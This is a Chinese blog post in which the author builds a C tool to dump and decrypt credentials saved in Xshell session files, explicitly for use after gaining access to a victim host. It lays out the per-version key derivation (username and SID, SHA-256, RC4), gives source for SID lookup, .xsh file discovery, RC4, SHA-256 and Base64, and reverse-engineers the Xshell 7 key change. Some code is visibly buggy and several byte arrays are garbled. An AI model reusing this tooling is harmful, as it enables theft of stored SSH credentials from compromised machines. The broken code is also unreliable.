造轮子记(附xshell7解密逆向分析)

0x00 前言

博客好长时间没更了,就把这段时间做的一点事情记录下吧。尝试第一次造轮子,写个xshell的密码读取工具(公司没有逼迫我qaq)。也挺好,有点压力也有动力,中间好多次想放弃。c语言实在是太太太太麻烦了。有了bug得扣内存去调试,解密出来乱码了也要读内存。头大。另外只是读取xshell6的密码,7的话用ida简单看了下,没找到加密函数,遂放弃。(我太菜了)

使用场景:

拿到主机权限后,上传该工具,一键读取xshell中存储的 host和账密。

1
2
3
读取并不难,密码不是明文传输,而是加密后的,解密的操作也浪费了很长时间。
如果存在 .xsh 文件 读取其中内容
解密条件: 当前用户的username和sid (whoami /user) 、xsh中的password密码

0x01 加密分析

版本:

1
2
3
xshell7:    %userprofile%\Documents\NetSarang Computer\7\Xshell\Sessions
xshell6: %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
XShell5: %userprofile%\Documents\NetSarang\Xshell\Sessions
1
2
username+sid -> key   
sha256("初始密码") ->CheckSum

1.密钥:

<5.1

Xshell 使用 MD5 算法来生成用于 RC4 密码的密钥,且 使用 16 字节长的 ASCII 字符串 MD5 摘要!X@s#h$e%l^l&作为 RC4 密码密钥

1
2
3
4
5
// Key = MD5("!X@s#h$e%l^l&"); 
unsigned char Key[16] = {
0xba, 0x2d, 0x9b, 0x7e, 0x9c, 0xca, 0x73, 0xd1,
0x52, 0xb2, 0x67, 0x72, 0x66, 0x2d, 0xf5, 0x5e
};

5.1或5.2

XShell 使用 SHA-256 算法来生成密钥,密钥是当前操作系统帐户的 SID 字符串的 32 字节长的 SHA-256 摘要

1
2
3
4
5
6
7
8
9
10
11
For example, if your current OS account's SID string is

S-1-5-21-917267712-1342860078-1792151419-512
the 32-bytes-long SHA-256 digest would be

unsigned char Key[32] = {
0xCE, 0x97, 0xBE, 0xA9, 0x0C, 0x2A, 0x40, 0xB9,
0x5C, 0xC0, 0x79, 0x74, 0x1D, 0xDC, 0x03, 0xCB,
0x39, 0xAB, 0x3D, 0xE5, 0x26, 0x7A, 0x3B, 0x11,
0x05, 0x4B, 0x96, 0x3C, 0x93, 0x6F, 0x9C, 0xD4
};

>5.2

这种情况与前一种(版本 5.1 或 5.2)类似,密钥是当前操作系统帐户名称(区分大小写)和当前操作系统帐户的 SID 字符串组合的 SHA-256 摘要。例如,如果您当前的操作系统帐户的名称和 SID 是(注意是当前登陆用户哈) Administrator S-1-5-21-917267712-1342860078-1792151419-512 密钥是字符串的 32 字节长 SHA-256 摘要”AdministratorS-1-5-21-917267712-1342860078-1792151419-512”

1
2
3
4
5
6
7
8
9
10
11
12
For example, if your current OS account's name and SID are

Administrator
S-1-5-21-917267712-1342860078-1792151419-512
the key is the 32-bytes-long SHA-256 digest of a string "AdministratorS-1-5-21-917267712-1342860078-1792151419-512":

unsigned char Key[32] = {
0x8E, 0x12, 0x29, 0xDC, 0x1F, 0x34, 0x56, 0xB9,
0xBB, 0xCD, 0x94, 0xC2, 0xAB, 0x0A, 0xF3, 0xB9,
0x95, 0x96, 0x6F, 0x06, 0xE3, 0x9D, 0x24, 0x80,
0x6A, 0x74, 0xCD, 0x7E, 0x0B, 0x69, 0xB3, 0x78
};

用户设置了主密码

密钥是用户设置了主密钥的 SHA-256摘要

1
2
3
4
5
6
7
8
For example, if I set master password with "123123", the key that is used in RC4 cipher is

unsigned char Key[32] = {
0x96, 0xca, 0xe3, 0x5c, 0xe8, 0xa9, 0xb0, 0x24,
0x41, 0x78, 0xbf, 0x28, 0xe4, 0x96, 0x6c, 0x2c,
0xe1, 0xb8, 0x38, 0x57, 0x23, 0xa9, 0x6a, 0x6b,
0x83, 0x88, 0x58, 0xcd, 0xd6, 0xca, 0x0a, 0x1e
};

2.计算原始密码的SHA-256摘要

此步骤将仅针对会话文件版本 >= 5.1 执行,且这个 32 字节长的数据将被视为校验和并附加到加密的密码中

1
2
3
4
5
6
7
8
如果原密码是 "This is a test", the SHA-256 digest would be:

unsigned char Checksum[32] = {
0xC7, 0xBE, 0x1E, 0xD9, 0x02, 0xFB, 0x8D, 0xD4,
0xD4, 0x89, 0x97, 0xC6, 0x45, 0x2F, 0x5D, 0x7E,
0x50, 0x9F, 0xBC, 0xDB, 0xE2, 0x80, 0x8B, 0x16,
0xBC, 0xF4, 0xED, 0xCE, 0x4C, 0x07, 0xD1, 0x4E
};

3.初始化密码

Xmanager 使用生成的密钥来初始化 RC4 密码。

4.加密密码

Xmanager 使用初始化的 RC4 密码加密原始密码

4.1 对于会话文件版本 < 5.1

  1. 由 XShell 加密

    1
    2
    3
    4
    unsigned  char EncryptedPassword[] = {
    0xff , 0xa2 , 0x9a , 0x4e , 0xb2 , 0xb0 , 0x9b , 0x47 ,
    0x26 , 0x86 , 0xbd , 0x32 , 0x01 , 0x64
    };

4.2 对于会话文件版本 == 5.1 OR 5.2

1
2
3
4
unsigned  char EncryptedPassword[] = {
0x84 , 0x83 , 0x31 , 0x23 , 0x24 , 0x37 , 0x1D , 0xB2 ,
0x6C , 0x54 , 0x87 , 0x5B , 0x6E , 0xE9
};

4.3 对于会话文件版本 > 5.2

1
2
3
4
unsigned  char EncryptedPassword[] = {
0xCE , 0xFD , 0xB5 , 0x3B , 0x5C , 0x78 , 0xDE , 0xA4 ,
0x6C , 0xDD , 0xCE , 0x4D , 0x72 , 0x40
};

4.4 对于用户设置了主密码的情况

1
2
3
4
unsigned  char EncryptedPassword[] = {
0x46 , 0xb9 , 0xb7 , 0x3f , 0x70 , 0x0b , 0xd2 , 0x20 ,
0xd5 , 0xee , 0x70 , 0x5b , 0x4b , 0x66
};

5. 将校验和附加到加密密码。

此步骤将仅对 >= 5.1 的会话文件版本执行。

5.1 对于会话文件版本 == 5.1 或 5.2

1
2
3
4
5
6
7
8
 unsigned char FinalResult [ ] =
{ 0x84,0x83,0x31,0x23,0x24,0x37,0x1d,0xb2,0x6c,0x54,0x87,0x5b,0x0,0xe9,0xc7,0xbe,0x1e,0xD9,0x02,0xFB,0x8D,0xD4 _ _
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _
_ _ _ _ _ _ , 0xD4 , 0x89 ,
0x97,0xC6,0x45,0x2f,0x5d,0x7e,0x50,0x9f,0xbc,0xdb,0xe2,0x80,0x8b,
0x16,0xbc,0xf4,0xed,0xce,0x4c,0x07,0xd1,0x4e }
; _ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _ _

5.2 对于会话文件版本 > 5.2

1
2
3
4
5
6
7
8
 unsigned char FinalResult [ ] = {
0xCE,0xFD,0xB5,0x3b,0x5c,
0x78,0xDE,0xA4,0x6c,0xdd,0xce,0x4d,0x72,0x40,0xc7,0xbe,0x1e,0xD9,0x02,0xFB,0x8D,0xD4 _ _ _ _ _ _
_ _ _ _ _ , 0xD4 , 0x89 ,
0x97,0xC6,0x45,0x2f,0x5d,0x7e,0x50,0x9f,0xbc,0xdb,0xe2,0x80,0x8b,
0x16,0xbc,0xf4,0xed,0xce,0x4c,0x07,0xd1,0x4e }
; _ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _ _

5.3 对于用户设置了主密码的情况

1
2
3
4
5
6
7
8
 unsigned char finalresult [ ] =
{ 0x46,0xb9,0xb7,0x3f,0x70,0x0b,0xd2,0x20,0xd5,0xee,0x70,0x5b,0x4b,0x66,0xc7,0xbe,0x1e,
0xD9,0x02,0xFB,0x8D,0xD4 _ _ _ _ _ _ _ _ _ _ _ _ _ _
_ _ _ _ _ , 0xD4 , 0x89 ,
0x97,0xC6,0x45,0x2f,0x5d,0x7e,0x50,0x9f,0xbc,0xdb,0xe2,0x80,0x8b,
0x16,0xbc,0xf4,0xed,0xce,0x4c,0x07,0xd1,0x4e }
; _ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _ _

6.将最终结果转换为Base64格式

解密失败的原因: 先考虑版本问题,再考虑是否设置了userkey,再考虑是否使用其他方式登录验证,比如公钥,或者根本就没有保存。

0x02 代码实现

第一次造轮子,代码肯定很烂,如果有更好的实现可以交流

获取用户名和SID

这个微软有自带的api,可以读取当前用户的用户名和sid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
char* Getsid();

LPWSTR wSid = NULL;
TCHAR UserName[64], DomainName[64];

char* Getsid() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
{
printf("[!]OpenProcessToken error\n");
return 0;
}

DWORD Size, UserSize, DomainSize;
SID* sid;
SID_NAME_USE SidType;


TOKEN_USER* User;
Size = 0;

GetTokenInformation(hToken, TokenUser, NULL, 0, &Size);
if (!Size)
return 0;

User = (TOKEN_USER*)malloc(Size);
assert(User);
GetTokenInformation(hToken, TokenUser, User, Size, &Size);
assert(Size);
Size = GetLengthSid(User->User.Sid);
assert(Size);
sid = (SID*)malloc(Size);
assert(sid);

CopySid(Size, sid, User->User.Sid);
UserSize = (sizeof UserName / sizeof * UserName) - 1;
DomainSize = (sizeof DomainName / sizeof * DomainName) - 1;
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);


int ret = ConvertSidToStringSid(User->User.Sid, &wSid);
if (FAILED(ret)) {
printf("Failed to return ret.");
printf("Error code=0x");
printf("%4x", ret);
}
char* result = strcat(UserName, wSid);
free(sid);
free(User);
return result;
}

遍历目录

递归查找目录和后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void find(char* path, char* name)
{
char szFind[MAX_PATH], szFile[MAX_PATH];
WIN32_FIND_DATA fd;
sprintf(szFind, "%s\\%s", path, name);
HANDLE hFind = FindFirstFile(szFind, &fd);
if (INVALID_HANDLE_VALUE != hFind)
{
while (1)
{
char* q = name;
char* p = fd.cFileName;
while (q) {
if (*q == '.')break; //匹配扩展名
q++;
}
while (p) {
if (*p == '.')break;
p++;
}
if (strncmp(p, q, strlen(q) + 1) != 0) {
if (!FindNextFile(hFind, &fd))break;
continue;
}
int path_len = strlen(path) + strlen(fd.cFileName);

char* tmp_pathname = (char*)malloc(file_Len);
sprintf(tmp_pathname, "%s\\%s", path, fd.cFileName);
path_add(tmp_pathname);

num1++;
if (!FindNextFile(hFind, &fd))break;
}
FindClose(hFind);
}
sprintf(szFind, "%s\\*.*", path);

hFind = FindFirstFile(szFind, &fd);
if (INVALID_HANDLE_VALUE == hFind)return;
while (TRUE)
{
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (fd.cFileName[0] != '.')
{
sprintf(szFile, "%s\\%s", path, fd.cFileName);
find(szFile, name);
}
}
if (!FindNextFile(hFind, &fd))break;
}
FindClose(hFind);
}

宽字符转换

其中在读取txt文件的时候,可以直接读取里面的内容。

但我要读的是 xsh 后缀的文件,直接读取读出来是乱码。这里涉及到宽窄字符的问题,需要将宽字符转换为窄字符。

1
2
3
4
5
6
7
8
char* become_char(WCHAR* source, int size)
{
char* tmp = (char*)malloc(size / 2 + 1);
WideCharToMultiByte(CP_ACP, 0, source, wcslen(source), tmp, size, NULL, NULL);
tmp[strlen(tmp)] = '\0';
free(source);
return tmp;
}

读取文件所有内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
char* getfileall(char* fname, int MODEL)
{
FILE* file = fopen(fname, "rb+");
fpos_t pos = 0;
fgetpos(file, &pos);
fseek(file, 0, SEEK_END);
int filesize = ftell(file);
char* buffer = (char*)malloc(filesize + 1);
memset(buffer, 0, strlen(buffer));
buffer[filesize] = '\0';
fsetpos(file, &pos);
fread(buffer, sizeof(char), filesize, file);
fclose(file);
if (MODEL == WCHAR_MODEL)
{
return become_char(buffer, filesize);
}
else if (MODEL == CHAR_MODEL)
{
return buffer;
}
}

匹配字段

从待读取的字符串中匹配关键词

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
char* extract(char* txt, char* name)
{
char* ptr = NULL;
ptr = txt;
int total = 0;

do
{
if (total > 0)
ptr += strlen(name);

ptr = strstr(ptr, name);
if (ptr == NULL)
{
printf("没有找到该字段\n");
return NULL;
}
total++;
} while (*(ptr - 1) != 0x0a);

ptr = ptr + strlen(name) + 1;
int len = get_len(ptr);
char* final = (char*)malloc(len + 1);
memset(final, 0, strlen(final) + 1);
strncat(final, ptr, len);
final[strlen(final) + 1] = '\0';
return final;
}

RC4算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
BYTE* RC4(char* pDate, int pData_len, BYTE* rc4_key, int rc4_key_len)
{
int array[256] = { 0 };
int array2[256] = { 0 };

BYTE* passwd = (BYTE*)malloc(pData_len);
ZeroMemory(passwd, pData_len);

int i;
for (i = 0; i < 256; i++)
{
array[i] = rc4_key[i % rc4_key_len];
array2[i] = i;
}

int num = i = 0;
for (; i < 256; i++)
{
num = (num + array2[i] + array[i]) % 256;
int num2 = array2[i];
array2[i] = array2[num];
array2[num] = num2;
}
int num3 = num = (i = 0);

for (; i < pData_len; i++)
{
num3++;
num3 %= 256;
num += array2[num3];
num %= 256;
int num2 = array2[num3];
array2[num3] = array2[num];
array2[num] = num2;
int num4 = array2[(array2[num3] + array2[num]) % 256];
passwd[i] = (byte)(pDate[i] ^ num4);
}
passwd[pData_len] = 0;
return passwd;
}

SHA256

sha256.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#define SWAP_BYTES

#ifdef USE_STD_MEMCPY
#include <string.h>
#endif
#include "sha256.h"



#define RL(x,n) (((x) << n) | ((x) >> (32 - n)))
#define RR(x,n) (((x) >> n) | ((x) << (32 - n)))

#define S0(x) (RR((x), 2) ^ RR((x),13) ^ RR((x),22))
#define S1(x) (RR((x), 6) ^ RR((x),11) ^ RR((x),25))
#define G0(x) (RR((x), 7) ^ RR((x),18) ^ ((x) >> 3))
#define G1(x) (RR((x),17) ^ RR((x),19) ^ ((x) >> 10))


#define BSWP(x,y) _bswapw((uint32_t *)(x), (uint32_t)(y))

#define MEMCP(x,y,z) _memcp((x),(y),(z))



static const uint32_t K[64] = {
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
};

static void _bswapw(uint32_t* p, uint32_t i)
{
while (i--) p[i] = (RR(p[i], 24) & 0x00ff00ff) | (RR(p[i], 8) & 0xff00ff00);

} /* _bswapw */


void* __cdecl _memcp(void* d, const void* s, uint32_t sz)
{
void* rv = d;

while (sz--) *(char*)d = *(char*)s, d = (char*)d + 1, s = (char*)s + 1;

return(rv);
} /* _memcp */

static void _rtrf(uint32_t* b, uint32_t* p, uint32_t i, uint32_t j)
{
#define B(x, y) b[(x-y) & 7]
#define P(x, y) p[(x+y) & 15]

B(7, i) += (j ? (p[i & 15] += G1(P(i, 14)) + P(i, 9) + G0(P(i, 1))) : p[i & 15])
+ K[i + j] + S1(B(4, i))
+ (B(6, i) ^ (B(4, i) & (B(5, i) ^ B(6, i))));
B(3, i) += B(7, i);
B(7, i) += S0(B(0, i)) + ((B(0, i) & B(1, i)) | (B(2, i) & (B(0, i) ^ B(1, i))));

#undef P
#undef B
} /* _rtrf */

static void _hash(sha256_context* ctx)
{
uint32_t b[8], * p, j;

b[0] = ctx->hash[0]; b[1] = ctx->hash[1]; b[2] = ctx->hash[2];
b[3] = ctx->hash[3]; b[4] = ctx->hash[4]; b[5] = ctx->hash[5];
b[6] = ctx->hash[6]; b[7] = ctx->hash[7];

for (p = ctx->buf, j = 0; j < 64; j += 16)
_rtrf(b, p, 0, j), _rtrf(b, p, 1, j), _rtrf(b, p, 2, j),
_rtrf(b, p, 3, j), _rtrf(b, p, 4, j), _rtrf(b, p, 5, j),
_rtrf(b, p, 6, j), _rtrf(b, p, 7, j), _rtrf(b, p, 8, j),
_rtrf(b, p, 9, j), _rtrf(b, p, 10, j), _rtrf(b, p, 11, j),
_rtrf(b, p, 12, j), _rtrf(b, p, 13, j), _rtrf(b, p, 14, j),
_rtrf(b, p, 15, j);

ctx->hash[0] += b[0]; ctx->hash[1] += b[1]; ctx->hash[2] += b[2];
ctx->hash[3] += b[3]; ctx->hash[4] += b[4]; ctx->hash[5] += b[5];
ctx->hash[6] += b[6]; ctx->hash[7] += b[7];

} /* _hash */

void sha256_init(sha256_context* ctx)
{
ctx->len[0] = ctx->len[1] = 0;
ctx->hash[0] = 0x6a09e667; ctx->hash[1] = 0xbb67ae85;
ctx->hash[2] = 0x3c6ef372; ctx->hash[3] = 0xa54ff53a;
ctx->hash[4] = 0x510e527f; ctx->hash[5] = 0x9b05688c;
ctx->hash[6] = 0x1f83d9ab; ctx->hash[7] = 0x5be0cd19;

} /* sha256_init */

void sha256_hash(sha256_context* ctx, uint8_t* dat, uint32_t sz)
{
register uint32_t i = ctx->len[0] & 63, l, j;

if ((ctx->len[0] += sz) < sz) ++(ctx->len[1]);

for (j = 0, l = 64 - i; sz >= l; j += l, sz -= l, l = 64, i = 0)
{
MEMCP((char*)ctx->buf + i, &dat[j], l);
BSWP(ctx->buf, 16);
_hash(ctx);
}
MEMCP((char*)ctx->buf + i, &dat[j], sz);

} /* _hash */


void sha256_done(sha256_context* ctx, uint8_t* buf)
{
uint32_t i = (uint32_t)(ctx->len[0] & 63), j = ((~i) & 3) << 3;

BSWP(ctx->buf, (i + 3) >> 2);

ctx->buf[i >> 2] &= 0xffffff80 << j; /* add padding */
ctx->buf[i >> 2] |= 0x00000080 << j;

if (i < 56) i = (i >> 2) + 1;
else ctx->buf[15] ^= (i < 60) ? ctx->buf[15] : 0, _hash(ctx), i = 0;

while (i < 14) ctx->buf[i++] = 0;

ctx->buf[14] = (ctx->len[1] << 3) | (ctx->len[0] >> 29); /* add length */
ctx->buf[15] = ctx->len[0] << 3;

_hash(ctx);

for (i = 0; i < 32; i++)
ctx->buf[i % 16] = 0, /* may remove this line in case of a DIY cleanup */
buf[i] = (uint8_t)(ctx->hash[i >> 2] >> ((~i & 3) << 3));

}

sha256.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#pragma once


#ifdef _MSC_VER
#ifndef uint8_t
typedef unsigned __int8 uint8_t;
#endif
#ifndef uint32_t
typedef unsigned __int32 uint32_t;
#endif
#ifndef uint64_t
typedef __int64 int64_t;
typedef unsigned __int64 uint64_t;
#endif
#else
#include <stdint.h>
#endif

#ifdef __cplusplus
extern "C"
{
#endif

typedef struct {
uint32_t buf[16];
uint32_t hash[8];
uint32_t len[2];
} sha256_context;

void sha256_init(sha256_context*);
void sha256_hash(sha256_context*, uint8_t* /* data */, uint32_t /* len */);
void sha256_done(sha256_context*, uint8_t* /* hash */);

#ifdef __cplusplus
}
#endif

base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//base64解码
char* base64_decode(char* code)
{
//根据base64表,以字符找到对应的十进制数据
int table[] = { 0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,62,0,0,0,
63,52,53,54,55,56,57,58,
59,60,61,0,0,0,0,0,0,0,0,
1,2,3,4,5,6,7,8,9,10,11,12,
13,14,15,16,17,18,19,20,21,
22,23,24,25,0,0,0,0,0,0,26,
27,28,29,30,31,32,33,34,35,
36,37,38,39,40,41,42,43,44,
45,46,47,48,49,50,51
};
long len;
long str_len;
char* res;
int i, j;

//计算解码后的字符串长度
len = strlen(code);
//判断编码后的字符串后是否有=
if (strstr(code, "=="))
str_len = len / 4 * 3 - 2;
else if (strstr(code, "="))
str_len = len / 4 * 3 - 1;
else
str_len = len / 4 * 3;

res = (char*)malloc(sizeof(unsigned char) * str_len + 1);
res[str_len] = '\0';

//以4个字符为一位进行解码
for (i = 0, j = 0; i < len - 2; j += 3, i += 4)
{
res[j] = ((unsigned char)table[code[i]]) << 2 | (((unsigned char)table[code[i + 1]]) >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的后2位进行组合
res[j + 1] = (((unsigned char)table[code[i + 1]]) << 4) | (((unsigned char)table[code[i + 2]]) >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应bas464表的十进制数的后4位进行组合
res[j + 2] = (((unsigned char)table[code[i + 2]]) << 6) | ((unsigned char)table[code[i + 3]]); //取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合
}

return res;

}

看下效果图

image-20220218010100008

0x03 xshell7 本地密码算法逆向分析

2.23更新

首先看下xshell程序的组成,除了exe外,还有这么多的dll文件,而我们想要的是他的本地配置文件中明文密码的加密算法。但是这么多dll文件,我怎么知道加密算法在哪个dll文件中啊。

我比较笨,没有更好的方法,只能一个个看dll。先排除几个dll,比如 jsoncpp.dll 应该是存储数据的,nsactivate.dll应该是激活程序的,nslicense.dll应该和证书有关,nsprofile2.dll配置文件,可能与加密算法有关,nsresource.dll差不多是一些乱七八糟的资源文件……当然上面都是我个人的猜测。按照这个思路,这些dll放在后面考虑。

另外,根据 xshell5 和 xshell6 加密算法来看,加密算法离不开 sha256、RC4、md5、base64这些函数,那我们就先过滤下这些字符串。

image-20220220133607718

按照这个思路,运气很好。看来离目标不远了。

image-20220220135047929

同时在该dll文件的导出表中发现了base64,狂喜

image-20220220135209809

话不多说,直接梭

Password push 入栈 ,同时还有 Public key

image-20220220140747397

证明下确实是版本7 哈哈哈哈哈

image-20220220141519174

也注意到里面定义的变量都是 wchar_t型的,这也解释了为什么最初读文件时读的内容会乱码的问题,还要进行一步的宽字节转换。

image-20220220141554576

获取当前域名

image-20220220151306755

image-20220220151702555

先进行变量初始化, 接着获取域名等变量,

image-20220220151950178

fine,终于找到了!!! 前面说的都是屁话。正文开始

image-20220220152834018

这里很明显,GetUserNameW获取当前用户名,ConvertSidToStringSidW获取当前用户的sid

而且做了版本的判断

image-20220220153910884

我们先看 版本6的情况(>5.2),

a1 : 当前用户名

StringSid:当前用户的sid

在6的情况下,看到 返回的结果是 a1+StringSid 的拼接值 。

而在版本7,先进行了用户名的逆序,再进行用户名和sid的拼接,最终的返回值是 sid的逆序与用户名的拼接

1
2
3
4
# 0range
# egnar0
# egnar0S-1-5-21-3783662542-2430270289
# 9820720342-245266387-21-5-1-S0range -> return

返回值作为 RC4 的密钥

其余和旧版本都不变。

总结

一个工具开发了一个多星期,期间几位师傅指导了我很多。体会到了改bug的快乐,也希望自己也能早日成为一名coder。明天就回学校了,下一阶段学习应该是免杀为主,但很多东西不能发,哎。希望也能多多输出文章吧。

Peace.